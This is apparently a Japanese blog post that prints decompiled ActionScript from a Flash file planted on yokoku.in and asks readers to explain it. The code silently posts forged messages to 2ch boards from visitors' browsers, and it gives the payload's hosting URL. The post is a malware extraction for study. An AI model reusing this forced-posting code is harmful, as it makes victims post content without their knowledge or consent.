■予告.inに仕込まれてた自動2ch書き込みFlashのActionScriptを抽出してみた

予告.inに仕込まれてたFlash。

yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch.net

ここ↑にあるやつ。

解説よろしく。

movie 'post2ch.swf' {
// flash 8, total frames: 17, frame rate: 12 fps, 320x320 px

  frame 1 {
    System.useCodepage = true;
    nret = function (k, v) {
      return (flash.external.ExternalInterface.call('d', k, v)).toString();
    };

    host2ch = 'tmp6.2ch.net';
    i = _url.indexOf('://');
    if (-1 < i) {
      host2ch = _url.substring(i + 3);
    }
    i = host2ch.indexOf('.2ch.net');
    if (-1 < i) {
      host2ch = host2ch.substring(0, i + 8);
    }
    path2ch = '/test/bbs.cgi?guid=ON';
    l = new LoadVars();
    i = _url.indexOf('#');
    u = '';
    if (0 < i) {
      u = _url.substring(i + 1);
    }
    LoadVars.prototype.sendNoEnc = function (url, target, method) {
      LoadVars.prototype._toString = LoadVars.prototype.toString;
      LoadVars.prototype.toString = function () {
        return unescape(this._toString());
      };

      ASSetPropFlags(LoadVars.prototype, '_toString', 3);
      this.send(url, target, method);
      LoadVars.prototype.toString = LoadVars.prototype._toString;
    };

    ASSetPropFlags(LoadVars.prototype, 'sendNoEnc', 3);
  }

  frame 2 {
    _root.nowtime = null;
    _root.secondpost = null;
    _root.FROM = null;
    _root.mail = null;
    _root.MESSAGE = null;
    _root.subject = null;
    _root.ng = null;
  }

  frame 3 {
    (flash.external.ExternalInterface.call('c')).toString();
  }

  frame 9 {
    if (_root.nowtime == null) {
      if (!_root.ng) {
        gotoAndPlay(3);
      } else {
        this.stop();
      }
    }
  }

  frame 10 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    nowtime = _root.nowtime;
    l.addRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    l.hana = 'mogera';
    l.time = '1180000000';
    if (l.time < nowtime) {
      l.time = nowtime;
    }
    l.key = '';
    l.bbs = 'kitchen';
    l.MESSAGE = '%82%D3%82%F1%82%C7%82%B5';
    l.subject = '%82%D3%82%F1%82%C7%82%B5';
    l.mail = '';
    l.FROM = '%82%D3%82%F1%82%C7%82%B5';
    l.submit = '%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE';
    buf = u.split('&amp;');
    i = 0;
    goto 623;
    for (;;) {
      ++i;
      label 623:
      if (i >= buf.length) break;
      a = buf[i].split('=');
      if (a[0] == 'FROM') {
        nret('FROM', a[1]);
      }
      if (a[0] == 'mail') {
        nret('mail', a[1]);
      }
      if (a[0] == 'MESSAGE') {
        nret('MESSAGE', a[1]);
      }
      if (a[0] == 'subject') {
        nret('subject', a[1]);
      }
      if (a[0] == 'key') {
        l.key = a[1];
      }
      if (a[0] == 'time') {
        l.time = a[1];
      }
      if (a[0] == 'bbs') {
        l.bbs = a[1];
      }
      if (a[0] == 'host') {
        host2ch = a[1];
      }
      if (a[0] == 'path') {
        path2ch = a[1];
      }
    }
  }

  frame 16 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    if (_root.FROM != null) {
      l.FROM = _root.FROM;
    }
    if (_root.mail != null) {
      l.mail = _root.mail;
    }
    if (_root.MESSAGE != null) {
      l.MESSAGE = _root.MESSAGE;
    }
    if (_root.subject != null) {
      l.subject = _root.subject;
    }
    if (l.key != '') {
      l.subject = '';
    }
    if (l.subject != '') {
      l.key = '';
    }
    l.sendNoEnc('http://' + host2ch + path2ch, '_2ch', 'POST');
  }

  frame 17 {
    if (_root.secondpost != null) {
      _root.secondpost = null;
      gotoAndPlay(4);
    }
    _root.nowtime = null;
    gotoAndPlay(2);
  }
}
||>

Permalink | 記事への反応(0) | 02:28

ツイートシェア